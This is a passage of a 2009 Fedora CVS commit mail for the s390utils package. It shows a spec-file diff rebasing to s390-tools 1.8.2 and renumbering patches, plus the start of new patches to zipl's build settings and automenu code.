-Patch16:  0016-s390-tools-1.8.1-dumpconf-improve-error-checking.patch
-Patch17:  0017-s390-tools-1.8.1-cpuplugd-memplug.patch
-Patch18:  0018-s390-tools-1.8.1-ziomon-new-blkiomon.patch
-Patch19:  0019-s390-tools-1.8.1-lsluns-disk-enc.patch
-Patch20:  0020-s390-tools-1.8.1-cpuplugd-cmminit.patch
-Patch21:  0021-s390-tools-1.8.1-lszfcp-perf.patch
-Patch22:  0022-fix-string-overflow-in-vtoc_volume_label_init.patch
-Patch23:  0023-change-default-load-address-for-ramdisk.patch
-Patch24:  0024-s390-tools-1.8.1-cpuplugd-limits.patch
-Patch25:  0025-s390-tools-1.8.1-misc-bugfixes.patch
+Patch1:   0001-s390-tools-1.5.3-zipl-zfcpdump-2.patch
+Patch2:   0002-s390-tools-1.8.1-zipl-automenu.patch
+Patch3:   0003-s390-tools-1.8.1-fdasd-su.patch
+Patch4:   0004-s390-tools-1.8.1-fdasd-raid-lvm.patch
+Patch5:   0005-don-t-create-automenu-when-default-menu-exists.patch
+Patch6:   0006-s390-tools-1.8.1-zipl-kdump-man.patch
+Patch7:   0007-s390-tools-1.8.1-lszfcp-perf.patch
+Patch8:   0008-fix-string-overflow-in-vtoc_volume_label_init.patch
+Patch9:   0009-change-default-load-address-for-ramdisk.patch
+Patch10:  0010-improve-mon_statd-init-script.patch
 
 Patch100:       cmsfs-1.1.8-warnings.patch
 Patch101:       cmsfs-1.1.8-kernel26.patch
@@ -67,8 +55,8 @@ Requires:       s390utils-cmsfs = %{epoc
 
 
 %description
-This is a meta package for installing all s390-tools sub packages.
-If you do not need all sub packages, it is recommended to install the
+This is a meta package for installing the default s390-tools sub packages.
+If you do not need all default sub packages, it is recommended to install the
 required sub packages separately.
 
 The s390utils packages contain a set of user space utilities that should to
@@ -81,63 +69,31 @@ be used together with the zSeries (s390)
 %patch1 -p1 -b .common-mak
 
 # Patch to maintain backwards compatibility with older zipl multiboot feature
-%patch4 -p1 -b .zipl-automenu
+%patch2 -p1 -b .zipl-automenu
 
 # Fix to honor the silent flag for wrongly formated disks
-%patch5 -p1 -b .fdasd-su
+%patch3 -p1 -b .fdasd-su
 
 # Enhancement to add raid partiton support to dasds
-%patch6 -p1 -b .fdasd-raid-lvm
-
-# Post 1.8.1 fixes for ziorep
-%patch8 -p1 -b .ziorep
-
-# Allow override of optimization level in CFLAGS
-%patch9 -p1 -b .cflags
+%patch4 -p1 -b .fdasd-raid-lvm
 
 # Don't build automenu iff default menu exists (#486444)
-%patch10 -p1 -b .defaultmenu
-
-# Remove the execuatble stack flag from zipl
-%patch11 -p1 -b .execstack
-
-# Post 1.8.1 fixes for ziomon
-%patch12 -p1 -b .ziomon
-
-# Post 1.8.1 fix for zipl
-%patch13 -p1 -b .zipl-device
+%patch5 -p1 -b .defaultmenu
 
 # Update zipl man page
-%patch14 -p1 -b .zipl-kdump-man
-
-# Last-minute fixes from IBM
-%patch15 -p1 -b .iucvterm-getlogin-to-getpwuid
-%patch16 -p1 -b .dumpconf-improve-error-checking
-%patch17 -p1 -b .cpuplugd-memplug
-
-# Adapt ziomon to the new layout of the blkiomon_stat structure (#506966)
-%patch18 -p1 -b .ziomon-new-blkiomon
-
-# Fix byte check for disk encryption check in lsluns (#510032)
-%patch19 -p1 -b .lsluns-disk-enc
-
-# Fix cmm configuration file value initialization parser in cpuplugd (#511379)
-%patch20 -p1 -b .cpuplugd-cmminit
+%patch6 -p1 -b .zipl-kdump-man
 
 # Check only ZFCP devices in lszfcp (#518669)
-%patch21 -p1 -b .lszfcp-perf
+%patch7 -p1 -b .lszfcp-perf
 
 # Fix string overflow in vtoc_volume_label_init (#525318)
-%patch22 -p1 -b .vtoc-label
+%patch8 -p1 -b .vtoc-label
 
 # Change default load address for ramdisk (#526339)
-%patch23 -p1 -b .ramdisk-address
+%patch9 -p1 -b .ramdisk-address
 
-# Fix cmm_pages allocation outside min and max range (#525495)
-%patch24 -p1 -b .ramdisk-address
-
-# Miscelaneous fixes for 1.8.1 (#525495)
-%patch25 -p1 -b .misc
+# Improve mon_statd init script
+%patch10 -p1 -b .improve-mon_statd
 
 #
 # cmsfs
@@ -187,7 +143,7 @@ popd
 
 
 %build
-make OPT_FLAGS="$RPM_OPT_FLAGS" DISTRELEASE=%{release}
+make OPT_FLAGS="$RPM_OPT_FLAGS" DISTRELEASE=%{release} V=1
 
 pushd cmsfs-%{cmsfsver}
 ./configure
@@ -213,7 +169,8 @@ make install \
         INSTROOT=$RPM_BUILD_ROOT \
         MANDIR=$RPM_BUILD_ROOT%{_mandir} \
         LIBDIR=${RPM_BUILD_ROOT}/%{_lib} \
-        DISTRELEASE=%{release}
+        DISTRELEASE=%{release} \
+        V=1
 
 mkdir -p ${RPM_BUILD_ROOT}%{_sysconfdir}/sysconfig
 mkdir -p ${RPM_BUILD_ROOT}%{_initddir}
@@ -375,19 +332,23 @@ s390 base tools. This collection provide
    * zconf:
      Set of scripts to configure and list status information of Linux for
      zSeries IO devices.
-     - chccwdev: Modify generic attributes of channel attached devices.
-     - lscss:    List channel subsystem devices.
-     - lsdasd:   List channel attached direct access storage devices (DASD).
-     - lsqeth:   List all qeth-based network devices with their corresponding
-                 settings.
-     - lstape:   List tape devices, both channel and FCP attached.
-     - lszfcp:   Shows information contained in sysfs about zfcp adapters,
-                 ports and units that are online.
-     - lschp:    List information about available channel-paths.
-     - chchp:    Modify channel-path state.
-     - lsluns:   List available SCSI LUNs depending on adapter or port.
-     - lszcrypt: Show Information about zcrypt devices and configuration.
-     - chzcrypt: Modify zcrypt configuration.
+     - chccwdev:   Modify generic attributes of channel attached devices.
+     - lscss:      List channel subsystem devices.
+     - lsdasd:     List channel attached direct access storage devices (DASD).
+     - lsqeth:     List all qeth-based network devices with their corresponding
+                   settings.
+     - lstape:     List tape devices, both channel and FCP attached.
+     - lszfcp:     Shows information contained in sysfs about zfcp adapters,
+                   ports and units that are online.
+     - lschp:      List information about available channel-paths.
+     - chchp:      Modify channel-path state.
+     - lsluns:     List available SCSI LUNs depending on adapter or port.
+     - lszcrypt:   Show Information about zcrypt devices and configuration.
+     - chzcrypt:   Modify zcrypt configuration.
+     - znetconf:   List and configure network devices for System z network
+                   adapters.
+     - cio_ignore: Query and modify the contents of the CIO device driver
+                   blacklist.
 
    * dumpconf:
      Allows to configure the dump device used for system dump in case a kernel
@@ -423,7 +384,6 @@ fi
 %defattr(-,root,root,-)
 %doc README
 %doc LICENSE
-/sbin/vmur
 /sbin/zipl
 /sbin/dasdfmt
 /sbin/dasdinfo
@@ -432,6 +392,7 @@ fi
 /sbin/chccwdev
 /sbin/chchp
 /sbin/chzcrypt
+/sbin/cio_ignore
 /sbin/lschp
 /sbin/lscss
 /sbin/lsdasd
@@ -449,6 +410,7 @@ fi
 /sbin/tunedasd
 /sbin/vmcp
 /sbin/zgetdump
+/sbin/znetconf
 /sbin/dbginfo.sh
 %{_sbindir}/lsreipl
 %{_sbindir}/lsshut
@@ -456,10 +418,12 @@ fi
 %{_sbindir}/chshut
 %{_sbindir}/ip_watcher.pl
 %{_sbindir}/start_hsnc.sh
+%{_sbindir}/vmur
 %{_sbindir}/xcec-bridge
 %{_bindir}/vmconvert
 %{_initddir}/dumpconf
 %config(noreplace) %{_sysconfdir}/sysconfig/dumpconf
+/lib/s390-tools
 %{_mandir}/man1/zfcpdbf.1*
 %{_mandir}/man4/prandom.4*
 %{_mandir}/man5/zipl.conf.5*
@@ -468,6 +432,7 @@ fi
 %{_mandir}/man8/chreipl.8*
 %{_mandir}/man8/chshut.8*
 %{_mandir}/man8/chzcrypt.8*
+%{_mandir}/man8/cio_ignore.8*
 %{_mandir}/man8/dasdfmt.8*
 %{_mandir}/man8/dasdinfo.8*
 %{_mandir}/man8/dasdview.8*
@@ -492,6 +457,7 @@ fi
 %{_mandir}/man8/vmcp.8*
 %{_mandir}/man8/vmur.8*
 %{_mandir}/man8/zgetdump.8*
+%{_mandir}/man8/znetconf.8*
 %{_mandir}/man8/zipl.8*
 
 # Additional Redhat specific stuff
@@ -615,18 +581,18 @@ Group:          Applications/System
 Requires:       perl lsscsi coreutils blktrace >= 1.0.1
 
 %description ziomon
-Tool set to collect data for zfcp performance analysis.
+Tool set to collect data for zfcp performance analysis and report.
 
 %files ziomon
 %defattr(-,root,root,-)
-/sbin/ziomon
-/sbin/ziomon_fcpconf
-/sbin/ziomon_mgr
-/sbin/ziomon_util
-/sbin/ziomon_zfcpdd
-/sbin/ziorep_config
-/sbin/ziorep_traffic
-/sbin/ziorep_utilization
+%{_sbindir}/ziomon
+%{_sbindir}/ziomon_fcpconf
+%{_sbindir}/ziomon_mgr
+%{_sbindir}/ziomon_util
+%{_sbindir}/ziomon_zfcpdd
+%{_sbindir}/ziorep_config
+%{_sbindir}/ziorep_traffic
+%{_sbindir}/ziorep_utilization
 %{_mandir}/man8/ziomon.8*
 %{_mandir}/man8/ziomon_fcpconf.8*
 %{_mandir}/man8/ziomon_mgr.8*
@@ -646,7 +612,14 @@ Group:          Applications/System
 BuildRequires:  gettext
 
 %description iucvterm
-z/VM IUCV terminal applications.
+A set of applications to provide terminal access via the z/VM Inter-User
+Communication Vehicle (IUCV). The terminal access does not require an
+active TCP/IP connection between two Linux guest operating systems.
+
+- iucvconn:  Application to establish a terminal connection via z/VM IUCV.
+- iucvtty:   Application to provide terminal access via z/VM IUCV.
+- ts-shell:  Terminal server shell to authorize and control IUCV terminal
+             connections for individual Linux users.
 
 %pre iucvterm
 # check for ts-shell group and create it
@@ -787,6 +760,10 @@ User-space development files for the s39
 
 
 %changelog
+* Thu Oct  8 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.2-1
+- added patch for improving mon_statd behaviour
+- rebased to 1.8.2
+
 * Fri Oct  2 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.1-8
 - really changed ramdisk load address (#526339)
 - change the required and optional subpackages for the meta package


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/s390utils/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	3 Jul 2009 09:23:00 -0000	1.3
+++ sources	8 Oct 2009 13:54:28 -0000	1.4
@@ -1,4 +1,4 @@
-6a94c4655204a4ec7a2c64f42c9afed3  s390-tools-1.8.1.tar.bz2
+856ecdd42ad358433eb3fcc886b58a89  s390-tools-1.8.2.tar.bz2
 71a8ee5918f2c44c385fcfe8350cdc98  cmsfs-1.1.8c.tar.gz
 2cbfffca3f07c61420899f45d221d451  lib-zfcp-hbaapi-2.0.tar.gz
 ba42772e5b305b5e147344442cd70826  src_vipa-2.0.4.tar.gz


--- 0001-s390-tools-1.8.1-common-mak.patch DELETED ---


--- 0004-s390-tools-1.8.1-zipl-automenu.patch DELETED ---


--- 0005-s390-tools-1.8.1-fdasd-su.patch DELETED ---


--- 0006-s390-tools-1.8.1-fdasd-raid-lvm.patch DELETED ---


--- 0008-s390-tools-1.8.1-ziorep-fixes.patch DELETED ---


--- 0009-s390-tools-1.8.1-cflags.patch DELETED ---


--- 0010-s390-tools-1.8.1-defaultmenu.patch DELETED ---


--- 0011-s390-tools-1.8.1-execstack.patch DELETED ---


--- 0012-s390-tools-1.8.1-ziomon-fixes.patch DELETED ---


--- 0013-s390-tools-1.8.1-zipl-fix-unsupported-device.patch DELETED ---


--- 0014-s390-tools-1.8.1-zipl-kdump-man.patch DELETED ---


--- 0015-s390-tools-1.8.1-iucvterm-getlogin-to-getpwuid.patch DELETED ---


--- 0016-s390-tools-1.8.1-dumpconf-improve-error-checking.patch DELETED ---


--- 0017-s390-tools-1.8.1-cpuplugd-memplug.patch DELETED ---


--- 0018-s390-tools-1.8.1-ziomon-new-blkiomon.patch DELETED ---


--- 0019-s390-tools-1.8.1-lsluns-disk-enc.patch DELETED ---


--- 0020-s390-tools-1.8.1-cpuplugd-cmminit.patch DELETED ---


--- 0021-s390-tools-1.8.1-lszfcp-perf.patch DELETED ---


--- 0022-fix-string-overflow-in-vtoc_volume_label_init.patch DELETED ---


--- 0023-change-default-load-address-for-ramdisk.patch DELETED ---


--- 0024-s390-tools-1.8.1-cpuplugd-limits.patch DELETED ---


--- 0025-s390-tools-1.8.1-misc-bugfixes.patch DELETED ---



From sharkcz at fedoraproject.org  Thu Oct  8 13:55:38 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Thu,  8 Oct 2009 13:55:38 +0000 (UTC)
Subject: rpms/s390utils/devel 0001-s390-tools-1.5.3-zipl-zfcpdump-2.patch,
	NONE, 1.1 0002-s390-tools-1.8.1-zipl-automenu.patch, NONE,
	1.1 0003-s390-tools-1.8.1-fdasd-su.patch, NONE,
	1.1 0004-s390-tools-1.8.1-fdasd-raid-lvm.patch, NONE,
	1.1 0005-don-t-create-automenu-when-default-menu-exists.patch,
	NONE, 1.1 0006-s390-tools-1.8.1-zipl-kdump-man.patch, NONE,
	1.1 0007-s390-tools-1.8.1-lszfcp-perf.patch, NONE,
	1.1 0008-fix-string-overflow-in-vtoc_volume_label_init.patch,
	NONE, 1.1 0009-change-default-load-address-for-ramdisk.patch,
	NONE, 1.1 0010-improve-mon_statd-init-script.patch, NONE,
	1.1 .cvsignore, 1.3, 1.4 s390utils.spec, 1.9, 1.10 sources, 1.3,
	1.4 0001-s390-tools-1.8.1-common-mak.patch, 1.1,
	NONE 0004-s390-tools-1.8.1-zipl-automenu.patch, 1.1,
	NONE 0005-s390-tools-1.8.1-fdasd-su.patch, 1.1,
	NONE 0006-s390-tools-1.8.1-fdasd-raid-lvm.patch, 1.1,
	NONE 0008-s390-tools-1.8.1-ziorep-fixes.patch, 1.1,
	NONE 0009-s390-tools-1.8.1-cflags.patch, 1.1,
	NONE 0010-s390-tools-1.8.1-defaultmenu.patch, 1.1,
	NONE 0011-s390-tools-1.8.1-execstack.patch, 1.1,
	NONE 0012-s390-tools-1.8.1-ziomon-fixes.patch, 1.1,
	NONE 0013-s390-tools-1.8.1-zipl-fix-unsupported-device.patch,
	1.1, NONE 0014-s390-tools-1.8.1-zipl-kdump-man.patch, 1.1,
	NONE 0015-s390-tools-1.8.1-iucvterm-getlogin-to-getpwuid.patch, 1.1, 
	NONE 0016-s390-tools-1.8.1-dumpconf-improve-error-checking.patch,
	1.1, NONE 0017-s390-tools-1.8.1-cpuplugd-memplug.patch, 1.1,
	NONE 0018-s390-tools-1.8.1-ziomon-new-blkiomon.patch, 1.1,
	NONE 0019-s390-tools-1.8.1-lsluns-disk-enc.patch, 1.1,
	NONE 0020-s390-tools-1.8.1-cpuplugd-cmminit.patch, 1.1,
	NONE 0021-s390-tools-1.8.1-lszfcp-perf.patch, 1.1,
	NONE 0022-fix-string-overflow-in-vtoc_volume_label_init.patch,
	1.1, NONE 0023-change-default-load-address-for-ramdisk.patch,
	1.2, NONE 0024-s390-tools-1.8.1-cpuplugd-limits.patch, 1.1,
	NONE 0025-s390-tools-1.8.1-misc-bugfixes.patch, 1.1, NONE
Message-ID: <20091008135538.8B28011C00DB@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/s390utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25459

Modified Files:
	.cvsignore s390utils.spec sources 
Added Files:
	0001-s390-tools-1.5.3-zipl-zfcpdump-2.patch 
	0002-s390-tools-1.8.1-zipl-automenu.patch 
	0003-s390-tools-1.8.1-fdasd-su.patch 
	0004-s390-tools-1.8.1-fdasd-raid-lvm.patch 
	0005-don-t-create-automenu-when-default-menu-exists.patch 
	0006-s390-tools-1.8.1-zipl-kdump-man.patch 
	0007-s390-tools-1.8.1-lszfcp-perf.patch 
	0008-fix-string-overflow-in-vtoc_volume_label_init.patch 
	0009-change-default-load-address-for-ramdisk.patch 
	0010-improve-mon_statd-init-script.patch 
Removed Files:
	0001-s390-tools-1.8.1-common-mak.patch 
	0004-s390-tools-1.8.1-zipl-automenu.patch 
	0005-s390-tools-1.8.1-fdasd-su.patch 
	0006-s390-tools-1.8.1-fdasd-raid-lvm.patch 
	0008-s390-tools-1.8.1-ziorep-fixes.patch 
	0009-s390-tools-1.8.1-cflags.patch 
	0010-s390-tools-1.8.1-defaultmenu.patch 
	0011-s390-tools-1.8.1-execstack.patch 
	0012-s390-tools-1.8.1-ziomon-fixes.patch 
	0013-s390-tools-1.8.1-zipl-fix-unsupported-device.patch 
	0014-s390-tools-1.8.1-zipl-kdump-man.patch 
	0015-s390-tools-1.8.1-iucvterm-getlogin-to-getpwuid.patch 
	0016-s390-tools-1.8.1-dumpconf-improve-error-checking.patch 
	0017-s390-tools-1.8.1-cpuplugd-memplug.patch 
	0018-s390-tools-1.8.1-ziomon-new-blkiomon.patch 
	0019-s390-tools-1.8.1-lsluns-disk-enc.patch 
	0020-s390-tools-1.8.1-cpuplugd-cmminit.patch 
	0021-s390-tools-1.8.1-lszfcp-perf.patch 
	0022-fix-string-overflow-in-vtoc_volume_label_init.patch 
	0023-change-default-load-address-for-ramdisk.patch 
	0024-s390-tools-1.8.1-cpuplugd-limits.patch 
	0025-s390-tools-1.8.1-misc-bugfixes.patch 
Log Message:
* Thu Oct  8 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.2-1
- added patch for improving mon_statd behaviour
- rebased to 1.8.2


0001-s390-tools-1.5.3-zipl-zfcpdump-2.patch:
 common.mak |    5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

--- NEW FILE 0001-s390-tools-1.5.3-zipl-zfcpdump-2.patch ---
>From 2b8336a93376953ba0ed84223264be55243ac7f8 Mon Sep 17 00:00:00 2001
From: Dan Horak <dan at danny.cz>
Date: Sun, 20 Jul 2008 09:24:05 +0200
Subject: [PATCH 1/9] s390-tools-1.5.3-zipl-zfcpdump-2

---
 common.mak |    4 ++--
 1 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/common.mak b/common.mak
index 8b248f1..0a7916e 100644
--- a/common.mak
+++ b/common.mak
@@ -63,8 +63,8 @@ GROUP		= $(shell id -gn)
 export INSTROOT BINDIR LIBDIR MANDIR OWNER GROUP
 
 # Special defines for zfcpdump
-ZFCPDUMP_DIR    = /usr/local/share/zfcpdump
-ZFCPDUMP_IMAGE  = zfcpdump.image
+ZFCPDUMP_DIR    = /boot
+ZFCPDUMP_IMAGE  = zfcpdump
 ZFCPDUMP_RD     = zfcpdump.rd
 export ZFCPDUMP_DIR ZFCPDUMP_IMAGE ZFCPDUMP_RD
 
-- 
1.6.3.3


0002-s390-tools-1.8.1-zipl-automenu.patch:
 man/zipl.8 |    7 ++
 src/job.c  |  194 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++---
 src/scan.c |    4 -
 src/zipl.c |    2 
 4 files changed, 197 insertions(+), 10 deletions(-)

--- NEW FILE 0002-s390-tools-1.8.1-zipl-automenu.patch ---
>From 2513c0f8096c681f962d77420dac731f7bb33e44 Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Thu, 23 Apr 2009 11:45:36 +0200
Subject: [PATCH 2/9] s390-tools-1.8.1-zipl-automenu

---
 zipl/man/zipl.8 |    7 ++
 zipl/src/job.c  |  194 +++++++++++++++++++++++++++++++++++++++++++++++++++++--
 zipl/src/scan.c |    4 +-
 zipl/src/zipl.c |    1 +
 4 files changed, 197 insertions(+), 9 deletions(-)

diff --git a/zipl/man/zipl.8 b/zipl/man/zipl.8
index 8a83c01..6ebf240 100644
--- a/zipl/man/zipl.8
+++ b/zipl/man/zipl.8
@@ -249,6 +249,13 @@ whether they contain a dump signature or not.
 This option can only be used together with
 .BR \-\-mvdump .
 
+.TP
+.BR "\-x" " or " "\-\-no-automenu"
+Disables the automatic creation of a multiboot menu. Specifying a menu with the
+"-m <MENU>" option or a section disables this feature, too. This option was
+added for compatibility with previous versions of the multiboot version of
+zipl.
+
 .SH EXAMPLE
 1. Scenario: prepare disk for booting a Linux kernel image using the
 following parameters:
diff --git a/zipl/src/job.c b/zipl/src/job.c
index c5c85d8..6a526e4 100644
--- a/zipl/src/job.c
+++ b/zipl/src/job.c
@@ -43,6 +43,7 @@ static struct option options[] = {
 	{ "version",		no_argument,		NULL, 'v'},
 	{ "verbose",		no_argument,		NULL, 'V'},
 	{ "add-files",		no_argument,		NULL, 'a'},
+	{ "no-automenu",        no_argument,            NULL, 'x'},
 	{ "tape",		required_argument,	NULL, 'T'},
 	{ "dry-run",		no_argument,		NULL, '0'},
 	{ "force",		no_argument,		NULL, 'f'},
@@ -50,7 +51,7 @@ static struct option options[] = {
 };
 
 /* Command line option abbreviations */
-static const char option_string[] = "-c:t:i:r:p:P:d:D:M:s:m:hHnVvaT:f";
+static const char option_string[] = "-c:t:i:r:p:P:d:D:M:s:m:hHnVvaxT:f";
 
 struct command_line {
 	char* data[SCAN_KEYWORD_NUM];
@@ -62,11 +63,14 @@ struct command_line {
 	int version;
 	int verbose;
 	int add_files;
+	int automenu;
 	int dry_run;
 	int force;
 	enum scan_section_type type;
 };
 
+/* Global variable for default boot target. Ugly but necessary... */
+static char *default_target;
 
 static int
 store_option(struct command_line* cmdline, enum scan_keyword_id keyword,
@@ -92,6 +96,7 @@ get_command_line(int argc, char* argv[], struct command_line* line)
 	int i;
 
 	memset((void *) &cmdline, 0, sizeof(struct command_line));
+	cmdline.automenu = 1;
 	cmdline.type = section_invalid;
 	is_keyword = 0;
 	/* Process options */
@@ -101,16 +106,22 @@ get_command_line(int argc, char* argv[], struct command_line* line)
 		switch (opt) {
 		case 'd':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_dumpto,
 					  optarg);
 			break;
 		case 'D':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_dumptofs,
 					  optarg);
 			break;
 		case 'M':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_mvdump,
 					  optarg);
 #ifndef __s390x__
@@ -121,35 +132,49 @@ get_command_line(int argc, char* argv[], struct command_line* line)
 			break;
 		case 'i':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_image,
 					  optarg);
 			break;
 		case 'P':
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_parameters,
 					  optarg);
 			break;
 		case 'p':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_parmfile,
 					  optarg);
 			break;
 		case 'r':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_ramdisk,
 					  optarg);
 			break;
 		case 's':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_segment,
 					  optarg);
 			break;
 		case 't':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_target,
 					  optarg);
 			break;
 		case 'T':
 			is_keyword = 1;
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
 			rc = store_option(&cmdline, scan_keyword_tape,
 					  optarg);
 			break;
@@ -190,6 +215,10 @@ get_command_line(int argc, char* argv[], struct command_line* line)
 		case 'f':
 			cmdline.force = 1;
 			break;
+		case 'x':
+			cmdline.automenu = 0;
+			scan_key_table[1][8] = req;
+			break;
 		case 1:
 			/* Non-option is interpreted as section name */
 			if (cmdline.section != NULL) {
@@ -214,6 +243,9 @@ get_command_line(int argc, char* argv[], struct command_line* line)
 	if (cmdline.help || cmdline.version) {
 		/* Always accept --help and --version */
 	} else if ((cmdline.menu != NULL) || (cmdline.section != NULL)) {
+		/* If either menu or section has been selected disable
+		   automenu generation */
+		cmdline.automenu = 0;
 		/* Config file mode */
 		if ((cmdline.menu != NULL) && (cmdline.section != NULL)) {
 			error_reason("Option 'menu' cannot be used when "
@@ -832,7 +864,14 @@ get_job_from_section_data(char* data[], struct job_data* job, char* section)
 		/* IPL job */
 		job->id = job_ipl;
 		/* Fill in name of bootmap directory */
-		job->bootmap_dir = misc_strdup(data[(int) scan_keyword_target]);
+		if (data[(int) scan_keyword_target] == NULL) {
+			if (default_target == NULL) {
+				error_text("Unable to find default section in your config file.");
+				break;
+			}
+			job->bootmap_dir = misc_strdup(default_target);
+		} else
+			job->bootmap_dir = misc_strdup(data[(int) scan_keyword_target]);
 		if (job->bootmap_dir == NULL)
 			return -1;
 		/* Fill in name and address of image file */
@@ -1102,6 +1141,8 @@ get_menu_job(struct scan_token* scan, char* menu, struct job_data* job)
 		if (temp_job == NULL)
 			return -1;
 		memset((void *) temp_job, 0, sizeof(struct job_data));
+		if (data[(int) scan_keyword_target] == NULL)
+			data[(int) scan_keyword_target] = misc_strdup(job->bootmap_dir);
 		rc = get_job_from_section_data(data, temp_job,
 					job->data.menu.entry[current].name);
 		if (rc) {
@@ -1150,6 +1191,7 @@ get_default_section(struct scan_token* scan, char** section, int* is_menu)
 	i = scan_find_section(scan, DEFAULTBOOT_SECTION,
 			      scan_id_section_heading, 0);
 	if (i<0) {
+		*section = NULL;
 		error_reason("No '" DEFAULTBOOT_SECTION "' section found and "
 			     "no section specified on command line");
 		return -1;
@@ -1169,6 +1211,7 @@ get_default_section(struct scan_token* scan, char** section, int* is_menu)
 		}
 	}
 	/* Should not happen */
+	*section = NULL;
 	error_reason("No default section specified");
 	return -1;
 }
@@ -1184,19 +1227,35 @@ get_section_job(struct scan_token* scan, char* section, struct job_data* job,
 {
 	char* data[SCAN_KEYWORD_NUM];
 	char* buffer;
+	char* default_section;
 	int rc;
 	int i;
 
+	rc = get_default_section(scan, &default_section, &i);
+	if (rc)
+		return rc;
 	if (section == NULL) {
-		rc = get_default_section(scan, &section, &i);
-		if (rc)
-			return rc;
+		section = default_section;
 		if (i) {
 			/* 'defaultmenu' was specified */
 			rc = get_menu_job(scan, section, job);
 			return rc;
 		}
 	}
+	else
+	{
+		char* name = NULL;
+
+		for (i = 0; (int) scan[i].id != 0; i++) {
+			if (scan[i].id == scan_id_section_heading) {
+				name = scan[i].content.section.name;
+			}
+			if (scan[i].id == scan_id_keyword_assignment &&
+			    scan[i].content.keyword.keyword == scan_keyword_target &&
+			    !strcmp(DEFAULTBOOT_SECTION, name))
+				default_target = misc_strdup(scan[i].content.keyword.value);
+		}
+	}
 	if (strcmp(section, DEFAULTBOOT_SECTION) == 0) {
 		error_reason("Special section '" DEFAULTBOOT_SECTION "' cannot "
 			     "be used as target section");
@@ -1268,10 +1327,118 @@ get_section_job(struct scan_token* scan, char* section, struct job_data* job,
 }
 
 
+/* Create a fake menu to simulate the old s390utils-1.1.7 multiboot
+ * behaviour. */
+static struct scan_token *
+create_fake_menu(struct scan_token *scan)
+{
+	int i, j, pos, numsec, size, defaultpos;
+	char *name;
+	char *target;
+	char *timeout;
+	char *seclist[1024];
+	char *defaultsection;
+	char buf[1024];
+	struct scan_token *tmp;
+
+	/* Count # of sections */
+	numsec = 0;
+	name = NULL;
+	target = NULL;
+	timeout = NULL;
+	for (i = 0; (int) scan[i].id != 0; i++) {
+		if (scan[i].id == scan_id_section_heading) {
+			name = scan[i].content.section.name;
+			if (strcmp(DEFAULTBOOT_SECTION, name))
+				seclist[numsec++] = name;
+		}
+		if (scan[i].id == scan_id_keyword_assignment &&
+		    (scan[i].content.keyword.keyword == scan_keyword_dumpto ||
+		     scan[i].content.keyword.keyword == scan_keyword_dumptofs)) {
+			numsec--;
+			continue;
+		}
+		if (scan[i].id == scan_id_keyword_assignment &&
+		    scan[i].content.keyword.keyword == scan_keyword_target &&
+		    !strcmp(DEFAULTBOOT_SECTION, name))
+			target = scan[i].content.keyword.value;
+
+		if (scan[i].id == scan_id_keyword_assignment &&
+		    scan[i].content.keyword.keyword == scan_keyword_timeout)
+			timeout = scan[i].content.keyword.value;
+	}
+	get_default_section(scan, &defaultsection, &j);
+
+	if (defaultsection == NULL) {
+		error_text("Unable to find default section in your config file.");
+		return NULL;
+	}
+
+	if (target == NULL) {
+		error_text("Keyword target is missing in default section.");
+		return NULL;
+	}
+
+	default_target = misc_strdup(target);
+
+	size = i+6+numsec;
+	tmp = (struct scan_token *) misc_malloc(size * sizeof(struct scan_token));
+	if (tmp == NULL) {
+		error_text("Couldn't allocate memory for menu entries");
+		return NULL;
+	}
+
+	memset(tmp, 0, size * sizeof(struct scan_token));
+	memcpy(tmp, scan, i * sizeof(struct scan_token));
+	free(scan);
+	scan = tmp;
+
+	defaultpos = 0;
+	for (j = 0; j < numsec; j++) {
+		if (!strcmp(defaultsection, seclist[j]))
+			defaultpos = j+1;
+	}
+
+	snprintf(buf, 1024, "%d", defaultpos);
+
+	scan[i].id = scan_id_menu_heading;
+	scan[i].line = i;
+	scan[i++].content.menu.name = misc_strdup("rh-automatic-menu");
+	scan[i].id = scan_id_keyword_assignment;
+	scan[i].line = i;
+	scan[i].content.keyword.keyword = scan_keyword_target;
+	scan[i++].content.keyword.value = misc_strdup(target);
+	scan[i].id = scan_id_keyword_assignment;
+	scan[i].line = i;
+	scan[i].content.keyword.keyword = scan_keyword_default;
+	scan[i++].content.keyword.value = misc_strdup(buf);
+	scan[i].id = scan_id_keyword_assignment;
+	scan[i].line = i;
+	scan[i].content.keyword.keyword = scan_keyword_prompt;
+	scan[i++].content.keyword.value = misc_strdup("1");
+	scan[i].id = scan_id_keyword_assignment;
+	scan[i].line = i;
+	scan[i].content.keyword.keyword = scan_keyword_timeout;
